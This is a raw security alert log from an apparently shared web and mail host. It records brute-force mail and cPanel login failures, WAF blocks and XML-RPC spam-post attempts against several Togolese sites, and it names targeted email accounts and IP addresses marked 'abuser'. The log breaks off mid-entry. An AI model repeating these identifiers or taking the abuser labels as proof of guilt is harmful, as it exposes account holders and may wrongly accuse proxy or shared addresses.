name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.207.218.42
country_id: 2245662
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/WhatsApp-Image-2026-06-15-at-12.49.17-768x640.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/WhatsApp-Image-2026-06-15-at-12.49.17-300x250.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/WhatsApp-Image-2026-06-15-at-12.49.17-1024x854.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/06/WhatsApp-Image-2026-06-15-at-12.49.17.webp 1280w HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.183
country_id: 2750405
description:
2026-06-16 15:03:09 dovecot_plain authenticator failed for H=(inger.tg) [104.28.163.183]:46531: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.166.183
country_id: 2921044
description:
2026-06-16 15:03:20 dovecot_plain authenticator failed for H=(inger.tg) [104.28.166.183]:14030: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.155.240
country_id: 2750405
description:
2026-06-16 15:02:26 dovecot_login authenticator failed for H=(inger.tg) [104.28.155.240]:12947: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.158.22
country_id: 2750405
description:
2026-06-16 15:02:30 dovecot_plain authenticator failed for H=(inger.tg) [104.28.158.22]:14975: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.160.186
country_id: 1819730
description:
2026-06-16 15:03:35 dovecot_plain authenticator failed for H=(inger.tg) [104.28.160.186]:20058: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [16/Jun/2026:15:03:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10274712&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781622225 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:03:51 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:20357: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.3.228.58
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/ac9ea4 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.166.183
country_id: 2921044
description:
2026-06-16 15:03:27 dovecot_login authenticator failed for H=(inger.tg) [104.28.166.183]:14030: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 161.123.138.55
country_id: 390903
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:161.123.138.55||TA:161.123.138.55||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:04:53 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:20358: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.230
country_id: 1880251
description:
2026-06-16 15:05:09 dovecot_plain authenticator failed for H=(inger.tg) [104.28.163.230]:51014: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-16 15:05:23 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:56420: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.154.8
country_id: 6252001
description:
2026-06-16 15:05:36 dovecot_plain authenticator failed for H=(inger.tg) [104.28.154.8]:59204: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 104.245.241.28
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:15-05.104.245.241.28||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.28.155.226
country_id: 2750405
description:
Jun 16 15:05:46 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.28.155.226 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.155.226
country_id: 2750405
description:
2026-06-16 15:05:48 dovecot_plain authenticator failed for H=(inger.tg) [104.28.155.226]:51084: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.155.218
country_id: 2750405
description:
2026-06-16 15:06:14 dovecot_plain authenticator failed for H=(inger.tg) [104.28.155.218]:21369: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.154.2
country_id: 6252001
description:
2026-06-16 15:05:23 dovecot_plain authenticator failed for H=(inger.tg) [104.28.154.2]:32760: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 192.101.65.238
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:15-05.192.101.65.238||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 182.186.113.45
country_id: 1168579
description:
2026-06-16 15:05:40 H=([182.186.113.45]) [182.186.113.45]:61444 F=<John@4452.com> rejected RCPT <admin@togocarrierebetons.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:06:03 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:14976: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 199.96.165.60
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:15-05.199.96.165.60||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.28.155.218
country_id: 2750405
description:
Jun 16 15:06:12 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.28.155.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.188
country_id: 2750405
description:
2026-06-16 15:06:24 dovecot_plain authenticator failed for H=(inger.tg) [104.28.163.188]:26387: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.159.214
country_id: 2750405
description:
2026-06-16 15:06:35 dovecot_plain authenticator failed for H=(inger.tg) [104.28.159.214]:10424: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.186.67.93
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/878283 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.28.158.25
country_id: 2750405
description:
Jun 16 15:06:59 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.28.158.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.28.159.214
country_id: 2750405
description:
Jun 16 15:06:33 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.28.159.214 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 142.147.240.78
country_id: 6252001
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:142.147.240.78||TA:142.147.240.78||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:07:04 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:4098: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.53.46.27
country_id: 2782113
description:
2026-06-16 15:07:12 dovecot_plain authenticator failed for H=v2202506272938357512.hotsrv.de (inger.tg) [152.53.46.27]:39998: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 193.25.167.229
country_id: 2750405
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:193.25.167.229||TA:193.25.167.229||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.181.141.190
country_id: 2635167
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:107.181.141.190||TA:107.181.141.190||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.158.25
country_id: 2750405
description:
2026-06-16 15:07:01 dovecot_plain authenticator failed for H=(inger.tg) [104.28.158.25]:38561: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.159.209
country_id: 2750405
description:
2026-06-16 15:07:34 dovecot_plain authenticator failed for H=(inger.tg) [104.28.159.209]:47693: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.197
country_id: 2750405
description:
2026-06-16 15:08:12 dovecot_plain authenticator failed for H=(inger.tg) [104.28.163.197]:33626: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.28.163.197
country_id: 2750405
description:
Jun 16 15:08:10 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.28.163.197 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.155.240
country_id: 2750405
description:
2026-06-16 15:07:23 dovecot_plain authenticator failed for H=(inger.tg) [104.28.155.240]:39713: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.20.46.166
country_id: 587116
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/Transport-aerien-africain-les-orientations-du-President-Faure-Gnassingbe-pour-une-integration-du-continent-par-un-ciel-unique-263x300.webp 263w, http:/togodailynews.tg/wp-content/uploads/2026/06/Transport-aerien-africain-les-orientations-du-President-Faure-Gnassingbe-pour-une-integration-du-continent-par-un-ciel-unique-768x876.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/Transport-aerien-africain-les-orientations-du-President-Faure-Gnassingbe-pour-une-integration-du-continent-par-un-ciel-unique.webp 800w HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.31.55.10
country_id: 6252001
description:
2026-06-16 15:07:45 dovecot_plain authenticator failed for H=(inger.tg) [144.31.55.10]:51200: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.87.68.194
country_id: 3175395
description:
Jun 16 15:07:39 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.87.68.194 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.76
country_id: 6252001
description:
2026-06-16 15:08:41 dovecot_plain authenticator failed for H=(inger.tg) [104.28.163.76]:50569: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.14.189.176
country_id: 3625428
description:
[2026-06-16 15:09:01 +0000] info [cpaneld] 186.14.189.176 - cfmitg "GET /login/?login_only=1&user=cfmitg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cfmitg (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.155.239
country_id: 2750405
description:
2026-06-16 15:09:15 dovecot_plain authenticator failed for H=(inger.tg) [104.28.155.239]:27066: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.228.133.2
country_id: 2017370
description:
[2026-06-16 15:08:57 +0000] info [cpaneld] 185.228.133.2 - cfmi "GET /login/?login_only=1&user=cfmi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cfmi (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.161.14
country_id: 2750405
description:
2026-06-16 15:08:52 dovecot_plain authenticator failed for H=(inger.tg) [104.28.161.14]:30958: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.112.69.237
country_id: 2750405
description:
2026-06-16 15:08:28 dovecot_plain authenticator failed for H=(inger.tg) [103.112.69.237]:59714: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.123.9.113
country_id: 1168579
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9286948163bfeea48319d4249d19566ca5458dce||Title:jr3b3drskrz6awj9ro||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.140.2.213
country_id: 3996063
description:
[2026-06-16 15:08:58 +0000] info [cpaneld] 189.140.2.213 - cfmi "GET /login/?login_only=1&user=cfmi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cfmi (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.82.3
country_id: 6252001
description:
2026-06-16 15:09:03 dovecot_plain authenticator failed for H=(inger.tg) [31.76.82.3]:42496: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.123.9.113
country_id: 1168579
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:72151e742095925eb0c281f6b9e73f61bd0fcc41||Title:cnovua2lnqvx7t3dj||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.157.31
country_id: 1861060
description:
2026-06-16 15:09:28 dovecot_plain authenticator failed for H=(inger.tg) [104.28.157.31]:33604: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:10:15 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:1920: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.28.166.9
country_id: 2750405
description:
Jun 16 15:09:42 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.28.166.9 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.166.9
country_id: 2750405
description:
2026-06-16 15:09:44 dovecot_plain authenticator failed for H=(inger.tg) [104.28.166.9]:43783: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.123.9.113
country_id: 1168579
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:299830bd8403ac9c6900397ef303226b770df6e5||Title:loq5o4k1bc5i8u||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:11:15 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:11008: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 37.63.17.51
country_id: 732800
domain: togomedia24.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:15-10.37.63.17.51||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.132.40.66
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/famille.webp 600w, http:/togodailynews.tg/wp-content/uploads/2026/06/famille-300x200.webp 300w HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.123.9.113
country_id: 1168579
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a5246cab607a39231774c0e04dc7e74140736da8||Title:uge1zt486zq1mglyt||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 110.137.82.96
country_id: 1643084
description:
110.137.82.96 - - [16/Jun/2026:15:11:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6909128&pdata=https%253A%252F%252Fmacite.tg%252F2026%252Fpage%252F80%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781622688 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2026/page/80/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.7476.1136 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:110.137.82.96


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:12:16 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:18432: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.84.21.186
country_id: 798549
description:
Jun 16 15:13:04 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.84.21.186 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 202.51.89.204
country_id: 1282988
description:
202.51.89.204 - - [16/Jun/2026:15:13:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9947037&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D11078&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781622790 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=11078" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.3636.1852 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:202.51.89.204


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.182.73.131
country_id: 1835841
description:
Jun 16 15:13:17 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.182.73.131 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:13:15 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:3201: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.123.9.113
country_id: 1168579
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:772f6da1dac80f1687ed9b40d92e67c41898e08c||Title:bzamr6n0k6kzdf||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 153.67.9.67
country_id: 3865483
description:
[2026-06-16 15:14:08 +0000] info [cpaneld] 153.67.9.67 - de "GET /login/?login_only=1&user=de&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user de (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.36.90.175
country_id: 2017370
description:
[2026-06-16 15:13:55 +0000] info [cpaneld] 92.36.90.175 - devbasetg "GET /login/?login_only=1&user=devbasetg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user devbasetg (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.182.73.131
country_id: 1835841
description:
Jun 16 15:13:28 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.182.73.131 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.237.238.20
country_id: 2464461
description:
[2026-06-16 15:13:48 +0000] info [cpaneld] 196.237.238.20 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.82.211.131
country_id: 2245662
description:
[2026-06-16 15:13:50 +0000] info [cpaneld] 41.82.211.131 - devbase "GET /login/?login_only=1&user=devbase&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user devbase (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.237.122.184
country_id: 99237
description:
[2026-06-16 15:13:53 +0000] info [cpaneld] 212.237.122.184 - devbasetg "GET /login/?login_only=1&user=devbasetg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user devbasetg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 89.166.249.48
country_id: 2921044
description:
[2026-06-16 15:13:57 +0000] info [cpaneld] 89.166.249.48 - devba "GET /login/?login_only=1&user=devba&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user devba (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 2.51.41.112
country_id: 290557
description:
[2026-06-16 15:14:00 +0000] info [cpaneld] 2.51.41.112 - devb "GET /login/?login_only=1&user=devb&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user devb (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 89.204.88.68
country_id: 2017370
description:
[2026-06-16 15:14:00 +0000] info [cpaneld] 89.204.88.68 - devba "GET /login/?login_only=1&user=devba&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user devba (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 79.205.55.241
country_id: 2921044
description:
[2026-06-16 15:14:03 +0000] info [cpaneld] 79.205.55.241 - devb "GET /login/?login_only=1&user=devb&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user devb (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.13.25.210
country_id: 2921044
description:
[2026-06-16 15:14:06 +0000] info [cpaneld] 91.13.25.210 - dev "GET /login/?login_only=1&user=dev&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dev (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 184.22.137.25
country_id: 1605651
description:
[2026-06-16 15:13:49 +0000] info [cpaneld] 184.22.137.25 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:14:26 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:3203: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.232.65.181
country_id: 3469034
description:
Jun 16 15:16:06 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.232.65.181 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:15:26 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:4352: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [16/Jun/2026:15:15:41 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [16/Jun/2026:15:15:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.221
country_id: 690791
description:
2026-06-16 15:16:15 H=([45.144.212.221]) [45.144.212.221]:59771 F=<dpr@priv8shop.com> rejected RCPT <dafroman213@hotmail.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.232.65.181
country_id: 3469034
description:
Jun 16 15:16:21 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.232.65.181 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:16:27 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:4224: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
country_id: 2287781
description:
2026-06-16 15:17:29 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.169]:14336: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.169
